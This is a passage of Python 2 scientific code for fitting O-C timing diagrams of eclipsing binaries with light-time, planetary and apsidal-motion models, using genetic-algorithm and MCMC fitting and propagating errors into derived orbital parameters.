mpl.plot(f,oc,'.') return f,oc def Chi2(self,params): '''calculate chi2 error (used as Objective Function for GA fitting) based on given parameters (in dict)''' param=dict(params) for x in self.params: #add fixed parameters if not x in param: param[x]=self.params[x] model=self.Model(param=param) #calculate model return sum(((model-self.oc)/self.err)**2) def FitGA(self,generation,size,mut=0.5,SP=2,plot_graph=False,visible=True, n_thread=1,db=None): '''fitting with Genetic Algorithms generation - number of generations - should be approx. 100-200 x number of free parameters size - number of individuals in one generation (size of population) - should be approx. 100-200 x number of free parameters mut - proportion of mutations SP - selection pressure (see Razali&Geraghty (2011) for details) plot_graph - plot figure of best and mean solution found in each generation visible - display status of fitting n_thread - number of threads for multithreading db - name of database to save GA fitting details (could be analysed later using InfoGA function) ''' def Thread(subpopul): #thread's function for multithreading for i in subpopul: objfun[i]=self.Chi2(popul.p[i]) limits=self.limits steps=self.steps popul=TPopul(size,self.fit_params,mut,steps,limits,SP) #init GA Class min0=1e15 #large number for comparing -> for finding min. value p={} #best set of parameters if plot_graph: graph=[] graph_mean=[] objfun=[] #values of Objective Function for i in range(size): objfun.append(0) if db is not None: #saving GA fitting details save_dat={} save_dat['chi2']=[] for par in self.fit_params: save_dat[par]=[] path=db.replace('\\','/') #change dirs in path (for Windows) if path.rfind('/')>0: path=path[:path.rfind('/')+1] #find current dir of db file if not os.path.isdir(path): os.mkdir(path) #create dir of db file, if not exist if not visible: #hidden output f = open(os.devnull, 'w') out=sys.stdout sys.stdout=f tic=time() for gen in range(generation): #main loop of GA threads=[] sys.stdout.write('gen: '+str(gen+1)+' / '+str(generation)+' in '+str(np.round(time()-tic,1))+' sec ') sys.stdout.flush() for t in range(n_thread): #multithreading threads.append(threading.Thread(target=Thread,args=[range(int(t*size/float(n_thread)), int((t+1)*size/float(n_thread)))])) #waiting for all threads and joining them for t in threads: t.start() for t in threads: t.join() #finding best solution in population and compare with global best solution i=np.argmin(objfun) if objfun[i]<min0: min0=objfun[i] p=dict(popul.p[i]) if plot_graph: graph.append(min0) graph_mean.append(np.mean(np.array(objfun))) if db is not None: save_dat['chi2'].append(list(objfun)) for par in self.fit_params: temp=[] for x in popul.p: temp.append(x[par]) save_dat[par].append(temp) popul.Next(objfun) #generate new generation sys.stdout.write('\r') sys.stdout.flush() sys.stdout.write('\n') if not visible: #hidden output sys.stdout=out f.close() if plot_graph: mpl.figure() mpl.plot(graph,'-') mpl.xlabel('Number of generations') mpl.ylabel(r'Minimal $\chi^2$') mpl.plot(graph_mean,'--') mpl.legend(['Best solution',r'Mean $\chi^2$ in generation']) if db is not None: #saving GA fitting details to file for x in save_dat: save_dat[x]=np.array(save_dat[x]) f=open(db,'wb') pickle.dump(save_dat,f,protocol=2) f.close() for param in p: self.params[param]=p[param] #save found parameters self.params_err={} #remove errors of parameters #remove some values calculated from old parameters self.paramsMore={} self.paramsMore_err={} return self.params def FitMCMC(self,n_iter,burn=0,binn=1,visible=True,db=None): '''fitting with Markov chain Monte Carlo n_iter - number of MC iteration - should be at least 1e5 burn - number of removed steps before equilibrium - should be approx. 0.1-1% of n_iter binn - binning size - should be around 10 visible - display status of fitting db - name of database to save MCMC fitting details (could be analysed later using InfoMCMC function) ''' #setting pymc sampling for fitted parameters pars={} for p in self.fit_params: pars[p]=pymc.Uniform(p,lower=self.limits[p][0],upper=self.limits[p][1],value=self.params[p]) def model_fun(**vals): '''model function for pymc''' param=dict(vals) for x in self.params: #add fixed parameters if not x in param: param[x]=self.params[x] return self.Model(param=param) #definition of pymc model model=pymc.Deterministic( eval=model_fun, doc='model', name='Model', parents=pars, trace=True, plot=False) #final distribution if self._set_err or self._calc_err: #if known errors of data -> normal/Gaussian distribution y=pymc.Normal('y',mu=model,tau=1./self.err**2,value=self.oc,observed=True) else: #if unknown errors of data -> Poisson distribution #note: should cause wrong performance of fitting, rather use function CalcErr for obtained errors y=pymc.Poisson('y',mu=model,value=self.oc,observed=True) #adding final distribution and sampling of parameters to model Model=[y] for v in pars.itervalues(): Model.append(v) #create pymc object if db is None: R=pymc.MCMC(Model) else: #saving MCMC fitting details path=db.replace('\\','/') #change dirs in path (for Windows) if path.rfind('/')>0: path=path[:path.rfind('/')+1] #find current dir of db file if not os.path.isdir(path): os.mkdir(path) #create dir of db file, if not exist R=pymc.MCMC(Model,db='pickle',dbname=db) #setting pymc method - distribution and steps for p in pars: R.use_step_method(pymc.Metropolis,pars[p],proposal_sd=self.steps[p], proposal_distribution='Normal') if not visible: #hidden output f = open(os.devnull, 'w') out=sys.stdout sys.stdout=f R.sample(iter=n_iter,burn=burn,thin=binn) #MCMC fitting/simulation self.params_err={} #remove errors of parameters #remove some values calculated from old parameters self.paramsMore={} self.paramsMore_err={} for p in pars: #calculate values and errors of parameters and save them self.params[p]=R.stats()[p]['mean'] self.params_err[p]=R.stats()[p]['standard deviation'] print '' R.summary() #summary of MCMC fitting if not visible: #hidden output sys.stdout=out f.close() return self.params,self.params_err def Summary(self,name=None): '''summary of parameters, output to file "name"''' params=[] unit=[] vals=[] err=[] for x in sorted(self.params.keys()): #names, units, values and errors of model params params.append(x) vals.append(str(self.params[x])) if not len(self.params_err)==0: #errors calculated if x in self.params_err: err.append(str(self.params_err[x])) elif x in self.fit_params: err.append('---') #errors not calculated else: err.append('fixed') #fixed params elif x in self.fit_params: err.append('---') #errors not calculated else: err.append('fixed') #fixed params #add units if x[0]=='a' or x[0]=='r': unit.append('AU') elif x[0]=='P': unit.append('d') #also in years params.append(x) vals.append(str(self.params[x]/365.2425)) try: err.append(str(float(err[-1])/365.2425)) #error calculated except: err.append(err[-1]) #error not calculated unit.append('y') elif x[0]=='Q': unit.append('d') elif x[0]=='t': unit.append('JD') elif x[0]=='e' or x[0]=='m': unit.append('') elif x[0]=='w' or x[1]=='w': #transform to deg vals[-1]=str(np.rad2deg(float(vals[-1]))) try: err[-1]=str(np.rad2deg(float(err[-1]))) #error calculated except: pass #error not calculated unit.append('deg') #calculate some more parameters, if not calculated self.MassFun() self.Amplitude() self.ParamsApsidal() #make blank line params.append('') vals.append('') err.append('') unit.append('') for x in sorted(self.paramsMore.keys()): #names, units, values and errors of more params params.append(x) vals.append(str(self.paramsMore[x])) if not len(self.paramsMore_err)==0: #errors calculated if x in self.paramsMore_err: err.append(str(self.paramsMore_err[x])) else: err.append('---') #errors not calculated else: err.append('---') #errors not calculated #add units if x[0]=='f' or x[0]=='M': unit.append('M_sun') elif x[0]=='a': unit.append('AU') elif x[0]=='P' or x[0]=='U': unit.append('d') #also in years params.append(x) vals.append(str(self.paramsMore[x]/365.2425)) try: err.append(str(float(err[-1])/365.2425)) #error calculated except: err.append(err[-1]) #error not calculated unit.append('y') elif x[0]=='K': unit.append('s') #also in minutes params.append(x) vals.append(str(self.paramsMore[x]/60.)) try: err.append(str(float(err[-1])/60.)) #error calculated except: err.append(err[-1]) #error not calculated unit.append('m') #generate text output text=['parameter'.ljust(15,' ')+'unit'.ljust(10,' ')+'value'.ljust(30,' ')+'error'] for i in range(len(params)): text.append(params[i].ljust(15,' ')+unit[i].ljust(10,' ')+vals[i].ljust(30,' ')+err[i].ljust(20,' ')) text.append('') text.append('Model: '+self.model) if len(self.params_err)==0: text.append('Fitting method: GA') else: text.append('Fitting method: MCMC') chi=self.Chi2(self.params) n=len(self.t) g=len(self.fit_params) #calculate some stats text.append('chi2 = '+str(chi)) if n-g>0: text.append('chi2_r = '+str(chi/(n-g))) else: text.append('chi2_r = NA') text.append('AIC = '+str(chi+2*g)) if n-g-1>0: text.append('AICc = '+str(chi+2*g*n/(n-g-1))) else: text.append('AICc = NA') text.append('BIC = '+str(chi+g*np.log(n))) if name is None: #output to screen print '------------------------------------' for t in text: print t print '------------------------------------' else: #output to file f=open(name,'w') for t in text: f.write(t+'\n') f.close() def Amplitude(self): '''calculate amplitude of O-C in seconds''' output={} if 'LiTE3' in self.model: #LiTE3 and LiTE3Quad models if 'K4' in self.paramsMore: #remove values calculated before del self.paramsMore['K4'] if 'K4' in self.paramsMore_err: del self.paramsMore_err['K4'] self.paramsMore['K3']=self.params['a_sin_i3']*AU/c*np.sqrt(1-self.params['e3']**2*np.cos(self.params['w3'])**2) output['K3']=self.paramsMore['K3'] if len(self.params_err)>0: #calculate error of Amplitude #get errors of params of 3rd body if 'e3' in self.params_err: e_err=self.params_err['e3'] else: e_err=0 if 'a_sin_i3' in self.params_err: a_err=self.params_err['a_sin_i3']*AU else: a_err=0 if 'w3' in self.params_err: w_err=self.params_err['w3'] else: w_err=0 #partial derivations sqrt=np.sqrt(1-self.params['e3']*np.cos(self.params['w3'])) da=sqrt/c #dK3/d(a_sin_i3) de=-self.params['a_sin_i3']*AU*self.params['e3']*np.cos(self.params['w3'])/(c*sqrt) #dK3/de3 dw=self.params['a_sin_i3']*AU*self.params['e3']**2*np.sin(self.params['w3'])*np.cos(self.params['w3'])/(c*sqrt) #dK3/dw3 self.paramsMore_err['K3']=np.sqrt((da*a_err)**2+(de*e_err)**2+(dw*w_err)**2) #if some errors = 0, del them; and return only non-zero errors if self.paramsMore_err['K3']==0: del self.paramsMore_err['K3'] else: output['K3_err']=self.paramsMore_err['K3'] if 'LiTE34' in self.model: #LiTE34 and LiTE34Quad models self.paramsMore['K4']=self.params['a_sin_i4']*AU/c*np.sqrt(1-self.params['e4']**2*np.cos(self.params['w4'])**2) output['K4']=self.paramsMore['K4'] if len(self.params_err)>0: #calculate error of Amplitude #get errors of params of 4th body if 'e4' in self.params_err: e_err=self.params_err['e4'] else: e_err=0 if 'a_sin_i4' in self.params_err: a_err=self.params_err['a_sin_i4']*AU else: a_err=0 if 'w4' in self.params_err: w_err=self.params_err['w4'] else: w_err=0 #partial derivations sqrt=np.sqrt(1-self.params['e4']*np.cos(self.params['w4'])) da=sqrt/c #dK4/d(a_sin_i4) de=-self.params['a_sin_i4']*AU*self.params['e4']*np.cos(self.params['w4'])/(c*sqrt) #dK4/de4 dw=self.params['a_sin_i4']*AU*self.params['e4']**2*np.sin(self.params['w4'])*np.cos(self.params['w4'])/(c*sqrt) #dK4/dw4 self.paramsMore_err['K4']=np.sqrt((da*a_err)**2+(de*e_err)**2+(dw*w_err)**2) #if some errors = 0, del them; and return only non-zero errors if self.paramsMore_err['K4']==0: del self.paramsMore_err['K4'] else: output['K4_err']=self.paramsMore_err['K4'] if 'ExPlanet' in self.model: #AgolExPlanet and AgolExPlanetLin models if 'K4' in self.paramsMore: #remove values calculated before del self.paramsMore['K4'] if 'K4' in self.paramsMore_err: del self.paramsMore_err['K4'] self.paramsMore['K3']=day*self.params['mu3']/(2*np.pi*(1-self.params['mu3']))*self.params['P']**2/self.params['P3']*\ (1-self.params['e3']**2)**(-3./2.)*2*(np.arctan(self.params['e3']/(1+np.sqrt(1-self.params['e3']**2)))+self.params['e3']) output['K3']=self.paramsMore['K3'] if len(self.params_err)>0: #calculate error of Amplitude #get errors of params of 3rd body if 'e3' in self.params_err: e_err=self.params_err['e3'] else: e_err=0 if 'P3' in self.params_err: P3_err=self.params_err['P3']*day else: P3_err=0 if 'mu3' in self.params_err: mu_err=self.params_err['mu3'] else: mu_err=0 if 'P' in self.params_err: P_err=self.params_err['P']*day else: P_err=0 #partial derivations K=self.paramsMore['K3'] dmu=K/(1-self.params['mu3']) #dK3/dmu3 dP=2*K/self.params['P']/day #dK3/dP dP3=-K/self.params['P3']/day #dK3/dP3 e=self.params['e3'] de=day*self.params['mu3']/(2*np.pi*(1-self.params['mu3']))*self.params['P']**2/self.params['P3']*\ ((4*np.sqrt(1-e**2))*e**2+2*np.sqrt(1-e**2)+6*np.sqrt(1-e**2)*e*np.arctan(e/(np.sqrt(1-e**2)+1))+1)/(e**2-1)**3 #dK3/de3 self.paramsMore_err['K3']=np.sqrt((dmu*mu_err)**2+(dP*P_err)**2+(dP3*P3_err)**2+(de*e_err)**2) #if some errors = 0, del them; and return only non-zero errors if self.paramsMore_err['K3']==0: del self.paramsMore_err['K3'] else: output['K3_err']=self.paramsMore_err['K3'] if 'InPlanet' in self.model: #AgolInPlanet and AgolInPlanetLin models if 'K4' in self.paramsMore: #remove values calculated before del self.paramsMore['K4'] if 'K4' in self.paramsMore_err: del self.paramsMore_err['K4'] self.paramsMore['K3']=day*self.params['P']*self.params['mu3']*self.params['r3']*np.sqrt(1-self.params['e']**2)/\ (2*np.pi*self.params['a']*(1-self.params['e']*np.sin(self.params['w']))) output['K3']=self.paramsMore['K3'] if len(self.params_err)>0: #calculate error of Amplitude #get errors of params of 3rd body if 'e' in self.params_err: e_err=self.params_err['e'] else: e_err=0 if 'mu3' in self.params_err: mu_err=self.params_err['mu3'] else: mu_err=0 if 'P' in self.params_err: P_err=self.params_err['P']*day else: P_err=0 if 'r3' in self.params_err: r_err=self.params_err['r3']*AU else: r_err=0 if 'a' in self.params_err: a_err=self.params_err['a']*AU else: a_err=0 if 'w' in self.params_err: w_err=self.params_err['w'] else: w_err=0 #partial derivations K=self.paramsMore['K3'] dmu=K/self.params['mu3'] #dK3/dmu3 dP=K/self.params['P']/day #dK3/dP dr=K/self.params['r3']/AU #dK3/dr3 da=K/self.params['a']/AU #dK3/da e=self.params['e'] w=self.params['w'] de=-K*np.sqrt(1+e)*(e-np.sin(w))/(1-e*np.sin(w)) #dK3/de dw=K*e*np.cos(w)/(1-e*np.sin(w)) #dK3/dw self.paramsMore_err['K3']=np.sqrt((dmu*mu_err)**2+(dP*P_err)**2+(dr*r_err)**2 +(de*e_err)**2+(da*a_err)**2+(dw*w_err)**2) #if some errors = 0, del them; and return only non-zero errors if self.paramsMore_err['K3']==0: del self.paramsMore_err['K3'] else: output['K3_err']=self.paramsMore_err['K3'] if 'Apsid' in self.model: #Apsidal motion if 'K4' in self.paramsMore: #remove values calculated before del self.paramsMore['K4'] if 'K4' in self.paramsMore_err: del self.paramsMore_err['K4'] self.paramsMore['K3']=day*self.params['P']*self.params['e']/np.pi output['K3']=self.paramsMore['K3'] if len(self.params_err)>0: #calculate error of Amplitude #get errors of params of 3rd body if 'e' in self.params_err: e_err=self.params_err['e'] else: e_err=0 if 'P' in self.params_err: P_err=self.params_err['P'] else: P_err=0 self.paramsMore_err['K3']=self.paramsMore['K3']*np.sqrt((P_err/self.params['P'])**2+\ (e_err/self.params['e'])**2) #if some errors = 0, del them; and return only non-zero errors if self.paramsMore_err['K3']==0: del self.paramsMore_err['K3'] else: output['K3_err']=self.paramsMore_err['K3'] return output def ParamsApsidal(self): '''calculate some params for model of apsidal motion''' output={} if not 'Apsidal' in self.model: return output self.paramsMore['Ps']=self.params['P']*(1-self.params['dw']/(2*np.pi)) self.paramsMore['U']=self.paramsMore['Ps']*2*np.pi/self.params['dw'] output['Ps']=self.paramsMore['Ps'] output['U']=self.paramsMore['U'] if len(self.params_err)>0: #calculate error of params #get errors of params of model if 'P' in self.params_err: P_err=self.params_err['P'] else: P_err=0 if 'dw' in self.params_err: dw_err=self.params_err['dw'] else: dw_err=0 self.paramsMore_err['Ps']=np.sqrt((1-self.params['dw']/(2*np.pi))**2*P_err**2+\ (self.params['P']/(2*np.pi)*dw_err)**2) self.paramsMore_err['U']=self.paramsMore['U']*np.sqrt((P_err/self.params['P'])**2+\ (dw_err/self.params['dw'])**2) #if some errors = 0, del them; and return only non-zero errors if self.paramsMore_err['Ps']==0: del self.paramsMore_err['Ps'] else: output['Ps_err']=self.paramsMore_err['Ps'] if self.paramsMore_err['U']==0: del self.paramsMore_err['U'] else: output['U_err']=self.paramsMore_err['U'] return output def MassFun(self): '''calculate Mass Function for LiTE models''' output={} if 'LiTE3' in self.model: #LiTE3 and LiTE3Quad models if 'f_m4' in self.paramsMore: #remove values calculated before del self.paramsMore['f_m4'] if 'f_m4' in self.paramsMore_err: del self.paramsMore_err['f_m4'] self.paramsMore['f_m3']=self.params['a_sin_i3']**3/(self.params['P3']/365.2425)**2 output['f_m3']=self.paramsMore['f_m3'] if len(self.params_err)>0: #calculate error of Mass Function #get errors of params of 3rd body if 'P3' in self.params_err: P3_err=self.params_err['P3'] else: P3_err=0 if 'a_sin_i3' in self.params_err: a_err=self.params_err['a_sin_i3'] else: a_err=0 self.paramsMore_err['f_m3']=self.paramsMore['f_m3']*np.sqrt(9*(a_err/self.params['a_sin_i3'])**2+\ 4*(P3_err/self.params['P3'])**2) #if some errors = 0, del them; and return only non-zero errors if self.paramsMore_err['f_m3']==0: del self.paramsMore_err['f_m3'] else: output['f_m3_err']=self.paramsMore_err['f_m3'] if 'LiTE34' in self.model: #LiTE34 and LiTE34Quad models self.paramsMore['f_m4']=self.params['a_sin_i4']**3/(self.params['P4']/365.2425)**2 output['f_m4']=self.paramsMore['f_m4'] if len(self.params_err)>0: #calculate error of Mass Function #get errors of params of 4th body if 'P4' in self.params_err: P4_err=self.params_err['P4'] else: P4_err=0 if 'a_sin_i4' in self.params_err: a_err=self.params_err['a_sin_i4'] else: a_err=0 self.paramsMore_err['f_m4']=self.paramsMore['f_m4']*np.sqrt(9*(a_err/self.params['a_sin_i4'])**2+\ 4*(P4_err/self.params['P4'])**2) #if some errors = 0, del them; and return only non-zero errors if self.paramsMore_err['f_m4']==0: del self.paramsMore_err['f_m4'] else: output['f_m4_err']=self.paramsMore_err['f_m4'] return output def AbsoluteParam(self,M,i=90,M_err=0,i_err=0): '''calculate mass and semi-mayor axis of 3rd body from mass of binary and inclination''' self.MassFun() output={} if 'LiTE3' in self.model: #LiTE3 and LiTE3Quad models self.paramsMore['a12']=self.params['a_sin_i3']/np.sin(np.deg2rad(i)) f=self.paramsMore['f_m3']/np.sin(np.deg2rad(i))**3 #Mass function of 3rd body/sin(i)**3 root=(2*f**3+18*f**2*M+3*np.sqrt(3)*np.sqrt(4*f**3*M**3+27*f**2*M**4)+27*f*M**2)**(1./3.) self.paramsMore['M3']=root/(3.*2.**(1./3.))-2.**(1./3.)*(-f**2-6.*f*M)/(3.*root)+f/3. self.paramsMore['a3']=self.paramsMore['a12']*M/self.paramsMore['M3'] self.paramsMore['a']=self.paramsMore['a12']+self.paramsMore['a3'] output['M3']=self.paramsMore['M3'] output['a12']=self.paramsMore['a12'] output['a3']=self.paramsMore['a3'] output['a']=self.paramsMore['a'] if len(self.params_err)>0: #calculate error of params #get errors of params of 3rd body if 'a_sin_i3' in self.params_err: a_err=self.params_err['a_sin_i3'] else: a_err=0 if 'f_m3' in self.paramsMore_err: f3_err=self.paramsMore_err['f_m3'] else: f3_err=0 f_err=f*np.sqrt((f3_err/self.paramsMore['f_m3'])**2+9*(np.deg2rad(i_err)/np.tan(np.deg2rad(i)))**2) #some strange partial derivations... (calculated using Wolfram Mathematica) #dM3/dM dM=-((2**(1/3.)*(f**2+6*f*M)*(54*f*M+(3*np.sqrt(3)*(8*f**3*M+108*f**2*M**3))/(2*np.sqrt(4*f**3*M**2+27*f**2*M**4))))/(9*(18*f**2+2*f**3+27*f*M**2+3*np.sqrt(3)*np.sqrt(4*f**3*M**2+\ 27*f**2*M**4))**(4/3.)))+(54*f*M+(3*np.sqrt(3)*(8*f**3*M+108*f**2*M**3))/(2*np.sqrt(4*f**3*M**2+27*f**2*M**4)))/(9*2**(1/3.)*(18*f**2+2*f**3+27*f*M**2+3*np.sqrt(3)*np.sqrt(4*f**3*\ M**2+27*f**2*M**4))**(2/3.))+(2*2**(1/3.)*f)/(18*f**2+2*f**3+27*f*M**2+3*np.sqrt(3)*np.sqrt(4*f**3*M**2+27*f**2*M**4))**(1/3.) #dM3/df df=1/3.-(2**(1/3.)*(f**2+6*f*M)*(36*f+6*f**2+27*M**2+(3*np.sqrt(3)*(12*f**2*M**2+54*f*M**4))/(2*np.sqrt(4*f**3*M**2+27*f**2*M**4))))/(9*(18*f**2+2*f**3+27*f*M**2+3*np.sqrt(3)*\ np.sqrt(4*f**3*M**2+27*f**2*M**4))**(4/3.))+(36*f+6*f**2+27*M**2+(3*np.sqrt(3)*(12*f**2*M**2+54*f*M**4))/(2*np.sqrt(4*f**3*M**2+27*f**2*M**4)))/(9*2**(1/3.)*(18*f**2+2*f**3+\ 27*f*M**2+3*np.sqrt(3)*np.sqrt(4*f**3*M**2+27*f**2*M**4))**(2/3.))+(2**(1/3.)*(2*f+6*M))/(3*(18*f**2+2*f**3+27*f*M**2+3*np.sqrt(3)*np.sqrt(4*f**3*M**2+27*f**2*M**4))**(1/3.)) #calculate errors of params self.paramsMore_err['a12']=self.paramsMore['a12']*np.sqrt((a_err/self.params['a_sin_i3'])**2+(np.deg2rad(i_err)/np.tan(np.deg2rad(i)))**2) self.paramsMore_err['M3']=np.sqrt((dM*M_err)**2+(df*f_err)**2) self.paramsMore_err['a3']=self.paramsMore['a3']*np.sqrt((self.paramsMore_err['a12']/self.paramsMore['a12'])**2+\ (M_err/M)**2+(self.paramsMore_err['M3']/self.paramsMore['M3'])**2) self.paramsMore_err['a']=self.paramsMore_err['a12']+self.paramsMore_err['a3'] #if some errors = 0, del them; and return only non-zero errors if self.paramsMore_err['M3']==0: del self.paramsMore_err['M3'] else: output['M3_err']=self.paramsMore_err['M3'] if self.paramsMore_err['a12']==0: del self.paramsMore_err['a12'] else: output['a12_err']=self.paramsMore_err['a12'] if self.paramsMore_err['a3']==0: del self.paramsMore_err['a3'] else: output['a3_err']=self.paramsMore_err['a3'] if self.paramsMore_err['a']==0: del self.paramsMore_err['a'] else: output['a_err']=self.paramsMore_err['a'] if 'LiTE34' in self.model: #Lite34 a Lite34Quad models self.paramsMore['a12-3']=self.paramsMore['a'] output['a12-3']=self.paramsMore['a'] if 'a' in self.paramsMore_err: self.paramsMore_err['a12-3']=self.paramsMore_err['a'] output['a_err']=self.paramsMore_err['a'] self.paramsMore['a123']=self.params['a_sin_i4']/np.sin(np.deg2rad(i)) f=self.paramsMore['f_m4']/np.sin(np.deg2rad(i))**3 #Mass function of 4th body/sin(i)**3 root=(2*f**3+18*f**2*M+3*np.sqrt(3)*np.sqrt(4*f**3*M**3+27*f**2*M**4)+27*f*M**2)**(1./3.) self.paramsMore['M4']=root/(3*2**(1./3.))-2**(1./3.)*(-f**2-6*f*M)/(3*root)+f/3. self.paramsMore['a4']=self.paramsMore['a12']*M/self.paramsMore['M4'] self.paramsMore['a']=self.paramsMore['a12']+self.paramsMore['a4'] output['M4']=self.paramsMore['M4'] output['a123']=self.paramsMore['a123'] output['a4']=self.paramsMore['a4'] output['a']=self.paramsMore['a'] if len(self.params_err)>0: #calculate error of params #get errors of params of 3rd body if 'a_sin_i4' in self.params_err: a_err=self.params_err['a_sin_i4'] else: a_err=0 if 'f_m4' in self.paramsMore_err: f4_err=self.paramsMore_err['f_m4'] else: f4_err=0 f_err=f*np.sqrt((f4_err/self.paramsMore['f_m4'])**2+9*(np.deg2rad(i_err)/np.tan(np.deg2rad(i)))**2) #some strange partial derivations... (calculated using Derive6) #dM4/dM #some strange partial derivations... (calculated using Wolfram Mathematica) #dM3/dM dM=-((2**(1/3.)*(f**2+6*f*M)*(54*f*M+(3*np.sqrt(3)*(8*f**3*M+108*f**2*M**3))/(2*np.sqrt(4*f**3*M**2+27*f**2*M**4))))/(9*(18*f**2+2*f**3+27*f*M**2+3*np.sqrt(3)*np.sqrt(4*f**3*M**2+\ 27*f**2*M**4))**(4/3.)))+(54*f*M+(3*np.sqrt(3)*(8*f**3*M+108*f**2*M**3))/(2*np.sqrt(4*f**3*M**2+27*f**2*M**4)))/(9*2**(1/3.)*(18*f**2+2*f**3+27*f*M**2+3*np.sqrt(3)*np.sqrt(4*f**3*\ M**2+27*f**2*M**4))**(2/3.))+(2*2**(1/3.)*f)/(18*f**2+2*f**3+27*f*M**2+3*np.sqrt(3)*np.sqrt(4*f**3*M**2+27*f**2*M**4))**(1/3.) #dM3/df df=1/3.-(2**(1/3.)*(f**2+6*f*M)*(36*f+6*f**2+27*M**2+(3*np.sqrt(3)*(12*f**2*M**2+54*f*M**4))/(2*np.sqrt(4*f**3*M**2+27*f**2*M**4))))/(9*(18*f**2+2*f**3+27*f*M**2+3*np.sqrt(3)*\ np.sqrt(4*f**3*M**2+27*f**2*M**4))**(4/3.))+(36*f+6*f**2+27*M**2+(3*np.sqrt(3)*(12*f**2*M**2+54*f*M**4))/(2*np.sqrt(4*f**3*M**2+27*f**2*M**4)))/(9*2**(1/3.)*(18*f**2+2*f**3+\ 27*f*M**2+3*np.sqrt(3)*np.sqrt(4*f**3*M**2+27*f**2*M**4))**(2/3.))+(2**(1/3.)*(2*f+6*M))/(3*(18*f**2+2*f**3+27*f*M**2+3*np.sqrt(3)*np.sqrt(4*f**3*M**2+27*f**2*M**4))**(1/3.)) #calculate errors of params self.paramsMore_err['a123']=self.paramsMore['a123']*np.sqrt((a_err/self.params['a_sin_i4'])**2+(np.deg2rad(i_err)/np.tan(np.deg2rad(i)))**2) self.paramsMore_err['M4']=np.sqrt((dM*M_err)**2+(df*f_err)**2) self.paramsMore_err['a4']=self.paramsMore['a4']*np.sqrt((self.paramsMore_err['a123']/self.paramsMore['a123'])**2+\ (M_err/M)**2+(self.paramsMore_err['M4']/self.paramsMore['M4'])**2) self.paramsMore_err['a']=self.paramsMore_err['a123']+self.paramsMore_err['a4'] #if some errors = 0, del them; and return only non-zero errors if self.paramsMore_err['M4']==0: del self.paramsMore_err['M4'] else: output['M4_err']=self.paramsMore_err['M4'] if self.paramsMore_err['a123']==0: del self.paramsMore_err['a123'] else: output['a123_err']=self.paramsMore_err['a123'] if self.paramsMore_err['a4']==0: del self.paramsMore_err['a4'] else: output['a4_err']=self.paramsMore_err['a4'] if self.paramsMore_err['a']==0: del self.paramsMore_err['a'] else: output['a_err']=self.paramsMore_err['a'] if 'Agol' in self.model: #AgolInPlanet, AgolInPlanetLin, AgolExPlanet, AgolExPlanetLin self.paramsMore['M3']=M*self.params['mu3']/(1-self.params['mu3']) self.paramsMore['a']=((self.params['P3']/365.2425)**2*(M+self.paramsMore['M3']))**(1./3.) output['M3']=self.paramsMore['M3'] output['a']=self.paramsMore['a'] if len(self.params_err)>0: #calculate error of params #get errors of params of 3rd body if 'mu3' in self.params_err: mu3_err=self.params_err['mu3'] else: mu3_err=0 if 'P3' in self.params_err: P3_err=self.params_err['P3'] else: P3_err=0 #calculate error of params self.paramsMore_err['M3']=self.paramsMore['M3']*np.sqrt((M_err/M)**2+\ (mu3_err/(self.params['mu3']*(1-self.params['mu3'])))**2) self.paramsMore_err['a']=self.paramsMore['a']/3.*np.sqrt(((M_err+self.paramsMore_err['M3'])/\ (M+self.paramsMore['M3']))**2+(2*P3_err/self.params['P3'])**2) #if some errors = 0, del them; and return only non-zero errors if self.paramsMore_err['M3']==0: del self.paramsMore_err['M3'] else: output['M3_err']=self.paramsMore_err['M3'] if self.paramsMore_err['a']==0: del self.paramsMore_err['a'] else: output['a_err']=self.paramsMore_err['a'] return output def Model(self,t=None,param=None,min_type=None): ''''calculate model curve of O-C in given times based on given set of parameters''' if t is None: t=self.t if param is None: param=self.params if self.model=='LiTE3': model=self.LiTE3(t,param['a_sin_i3'],param['e3'],param['w3'],param['t03'],param['P3']) elif self.model=='LiTE34': model=self.LiTE34(t,param['a_sin_i3'],param['e3'],param['w3'],param['t03'],param['P3'], param['a_sin_i4'],param['e4'],param['w4'],param['t04'],param['P4']) elif self.model=='LiTE3Quad': model=self.LiTE3Quad(t,param['t0'],param['P'],param['Q'],param['a_sin_i3'],param['e3'], param['w3'],param['t03'],param['P3']) elif self.model=='LiTE34Quad': model=self.LiTE34Quad(t,param['t0'],param['P'],param['Q'], param['a_sin_i3'],param['e3'],param['w3'],param['t03'],param['P3'], param['a_sin_i4'],param['e4'],param['w4'],param['t04'],param['P4']) elif self.model=='AgolInPlanet': model=self.AgolInPlanet(t,param['P'],param['a'],param['w'],param['e'], param['mu3'],param['r3'],param['w3'],param['t03'],param['P3']) elif self.model=='AgolInPlanetLin': model=self.AgolInPlanetLin(t,param['t0'],param['P'],param['a'],param['w'],param['e'], param['mu3'],param['r3'],param['w3'],param['t03'],param['P3']) elif self.model=='AgolExPlanet': model=self.AgolExPlanet(t,param['P'],param['mu3'],param['e3'],param['t03'],param['P3']) elif self.model=='AgolExPlanetLin': model=self.AgolExPlanetLin(t,param['t0'],param['P'],param['mu3'],param['e3'],param['t03'],param['P3']) elif self.model=='Apsidal': if min_type is None: min_type=self._min_type model=self.Apsidal(t,param['t0'],param['P'],param['w0'],param['dw'],param['e'],min_type) else: raise ValueError('The model "'+self.model+'" does not exist!') return model def CalcErr(self): '''estimate errors of input data based on current model (useful before using FitMCMC)''' model=self.Model(self.t,self.params) #calculate model values n=len(model) #number of data points err=np.sqrt(sum((self.oc-model)**2)/(n-1)) #calculate corrected sample standard deviation err*=np.ones(model.shape) #generate array of errors chi=sum(((self.oc-model)/err)**2) #calculate new chi2 error -> chi2_r = 1 print 'New chi2:',chi,chi/(n-len(self.fit_params)) self._calc_err=True self._set_err=False self.err=err return err def CorrectErr(self): '''correct scale of given errors of input data based on current model (useful if FitMCMC gives worse results like FitGA and chi2_r is not approx. 1)''' model=self.Model(self.t,self.params) #calculate model values n=len(model) #number of data points chi0=sum(((self.oc-model)/self.err)**2) #original chi2 error alfa=chi0/(n-len(self.fit_params)) #coefficient between old and new errors -> chi2_r = 1 err=self.err*np.sqrt(alfa) #new errors chi=sum(((self.oc-model)/err)**2) #calculate new chi2 error print 'New chi2:',chi,chi/(n-len(self.fit_params)) if self._set_err and len(self._old_err)==0: self._old_err=self.err #if errors were given, save old values self.err=err self._corr_err=True return err def AddWeight(self,weight): '''adding weight of input data + scaling according to current model warning: weights have to be in same order as input date!''' if not len(weight)==len(self.t): #if wrong length of given weight array print 'incorrect length of "w"!' return weight=np.array(weight) err=1./weight[self._order] #transform to errors and change order according to order of input data n=len(self.t) #number of data points model=self.Model(self.t,self.params) #calculate model values chi0=sum(((self.oc-model)/err)**2) #original 